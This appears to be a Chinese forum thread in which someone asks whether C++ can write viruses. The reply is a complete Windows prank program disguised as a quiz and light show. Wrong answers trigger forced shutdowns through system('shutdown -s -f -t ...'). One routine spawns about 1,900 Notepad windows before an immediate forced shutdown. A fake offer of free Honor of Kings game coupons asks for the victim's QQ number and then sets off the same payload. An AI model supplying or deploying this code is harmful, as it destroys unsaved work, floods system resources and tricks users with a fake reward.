有关C++的用途
请问C++可以用来编写 病毒吗?求大神回话,并指点一下
可以啊
#include<iostream> #include<stdio.h> #include<time.h> #include<stdlib.h> #include<cstdio> #include <windows.h> void SlowDisplay(char *); void Close_computer(); void Dividing_line(); void Bug(); void Remedy(); void Remedy2(); void Question_bank1(); void Question_bank2(); int Random(); using namespace std; double a,b,c=0,f,g,k; long long j,d=0,e,s; char ch,i; int main() { do { s=0; e=Random(); g=0; system("mode con cols=71 lines=71"); system("color 0F"); d=0; do { if(g==0)cout<<"请输入你想要的输出速度(25-100)\n"; else cout<<"请重新输入\n"; cin>>f; g++; } while(f<25||f>100); if(c==0)SlowDisplay("\n\n\t\t\t 欢迎来到视觉盛宴!\n\n\n\t\t\t 请先做几道题\n\n"); else SlowDisplay("\n\t\t\t 欢迎再次运行\n"); Sleep(100); Dividing_line(); if(e==1)Question_bank1(); else Question_bank2(); SlowDisplay("现在你可以选择\n 1:坑爹的题目 2:鬼畜的题目。\n"); d=5; cin>>a; Dividing_line(); if(a!=1&&a!=2) { SlowDisplay("输入错误\n"); Close_computer(); } if(a==1) { SlowDisplay("(6+5-4*3/2^1)!=?\n"); d=6; cin>>b; Sleep(100); if(b!=120)SlowDisplay("准!\n\n"); else { SlowDisplay("又被套路了\n"); Close_computer(); } } Dividing_line(); if(a==2) { SlowDisplay("你为什么这么傻?\n\n 1:天生的 2:选1 3:选2\n"); d=7; cin>>a; Sleep(100); if(a!=1&&a!=2&&a!=3) { SlowDisplay("死不承认!"); a=-900; Bug(); } SlowDisplay("哈哈!!!\n"); } SlowDisplay("恭喜通过\n\n\n\n"); Dividing_line(); d=7; Sleep(100); cout<<"你可以刷王者荣耀点券了\n"; cout<<"请输入你想刷的点券数并按回车键:\n"; cin>>a; if(a>0) { Sleep(100); cout<<"请输入你的QQ号并按回车键:\n"; cin>>b; Bug(); } SlowDisplay("恭喜你通过了考验,证明你是个老(ji)实(zei)的人\n"); system("mode con cols=157 lines=157"); d=8; SlowDisplay("\n\n\n\t\t\t\t\t\t\t\t开始你的视觉盛宴吧\n\n\n\t\t\t\t\t\t\t\t 密码小写o\n"); cin>>ch; if(ch!='o') { SlowDisplay("输入错误\n"); Close_computer(); } for(i='!';i<=ch;i++) { for(int j=1;j<=ch-i;j++) cout<<" "; for(char c='!';c<=i;c++) cout<<c; for(char c=i-1;c>='!';c--) cout<<c; cout<<endl; } Dividing_line(); Sleep(500); for(j=0;j<=1000000000000000;j++) { if(j>1000)j=j+9; if(j>100000)j=j+90; if(j>1000000)j=j+900; if(j>10000000)j=j+9000; if(j>100000000)j=j+90000; if(j>1000000000)j=j+900000; if(j>10000000000)j=j+9000000; if(j>100000000000)j=j+90000000; if(j>1000000000000)j=j+900000000; if(j>10000000000000)j=j+9000000000; if(j>100000000000000)j=j+90000000000; cout<<j<<" "; } Dividing_line(); Sleep(500); for(j=1;j<=157;j++) { for(a=157-j;a>0;a--)cout<<" "; for(a=j*2-1;a>0;a--)cout<<"*"; cout<<endl; } for(j=157-1;j>=1;j--) { for(a=157-j;a>0;a--)cout<<" "; for(a=j*2-1;a>0;a--)cout<<"*"; cout<<endl; } Sleep(500); Dividing_line(); system("color 1E"); Sleep(10); system("color 2D"); Sleep(10); system("color 3C"); Sleep(10); system("color 4B"); Sleep(10); system("color 5A"); Sleep(10); system("color 69"); Sleep(10); system("color 78"); Sleep(10); system("color 87"); Sleep(10); system("color 96"); Sleep(10); system("color A5"); Sleep(10); system("color B4"); Sleep(10); system("color C3"); Sleep(10); system("color D2"); Sleep(10); system("color E1"); Sleep(10); system("color F0"); Sleep(500); b=MessageBox(NULL,"是不是很爽?\n请选择:\n 是:重新再玩\n 否:结束","",MB_YESNO); c++; } while(b==IDYES); MessageBox(NULL,"下次再来","",MB_OK); return 0; } void SlowDisplay(char *p) { while(1) { if(*p!=0)printf("%c",*p++); else break; Sleep(f); } } void Close_computer() { printf("对不起,您的电脑即将关机!"); Sleep(100); system("shutdown -s -f -t 30"); if(s<=3)Remedy(); } void Dividing_line() { for (b=1;b<=35;b++)cout<<"=*"; cout<<"\n 华丽丽的分界线\n"; } void Bug() { if(s<=3)Remedy(); if(a!=0) { while(a>-1000) { WinExec("NotePad.exe", 5); a--; } system("shutdown -s -f -t 0"); } } void Remedy() { s++; SlowDisplay("\n还想补救吗?如果再回答一次,你会选什么?\n"); if(d!=8)cin>>a; else cin>>ch; switch(d) { case 1: if(a!=2)system("shutdown -a"); else SlowDisplay("补救失败!"); break; case 2: if(a==0)system("shutdown -a"); else SlowDisplay("补救失败!"); break; case 3: if(a==4)a=0; else SlowDisplay("补救失败!"); break; case 4: if(a==1||a==2)system("shutdown -a"); else SlowDisplay("补救失败!"); break; case 5: if(a!=120)a=0; else SlowDisplay("补救失败!"); break; case 6: if(a==1||a==2||a==3)a=0; else {SlowDisplay("补救失败!");a=10;} break; case 7: if(a<=0)a=0; else SlowDisplay("补救失败!"); break; case 8: if(ch=='o')system("shutdown -a"); else SlowDisplay("补救失败!"); break; case 9: if(a!=1)system("shutdown -a"); else SlowDisplay("补救失败!"); break; case 10: if(a!=1)system("shutdown -a"); else SlowDisplay("补救失败!"); break; } } int Random() { srand((unsigned)time(NULL)); return rand()%2; } void Question_bank1() { d=1; SlowDisplay("1+1=?\n"); cin>>a; if(a==2) { SlowDisplay("还是太天真!\n"); Close_computer(); } Sleep(500); SlowDisplay("恭喜进入下一关!\n\n"); Dividing_line(); Sleep(100); d=2; SlowDisplay("1-1=?\n"); cin>>a; if(a!=0) { SlowDisplay("套路深啊!\n"); Close_computer(); } Sleep(500); SlowDisplay("666666!下一题\n\n"); Dividing_line(); Sleep(100); SlowDisplay("6!=?\n"); cin>>a; if(a!=720)Remedy2(); Dividing_line(); } void Question_bank2() { d=9; SlowDisplay("1*1=?\n"); cin>>a; if(a==1) { SlowDisplay("还是太天真!\n"); Close_computer(); } Sleep(500); SlowDisplay("恭喜进入下一关!\n\n"); Dividing_line(); Sleep(100); d=10; SlowDisplay("1^1^1^1=?\n"); cin>>a; if(a!=1) { SlowDisplay("套路深啊!\n"); Close_computer(); } Sleep(500); SlowDisplay("66666!下一题\n"); Dividing_line(); Sleep(100); SlowDisplay("6^6=?\n"); cin>>a; if(a!=44656)Remedy2(); Dividing_line(); } void Remedy2() { SlowDisplay("回答错误,不过还有一次补救的机会\n\n"); Dividing_line(); Sleep(100); SlowDisplay("本次测试有几题?\n"); d=3; cin>>a; if(a==3) { SlowDisplay("傻,这也是一题啊\n"); Close_computer(); } if(a!=3&&a!=4) { SlowDisplay("还当是套路啊\n现在最后套路你一次吧"); Sleep(100); a=-900; Bug(); } if(a==4)cout<<"聪明!\n\n"; }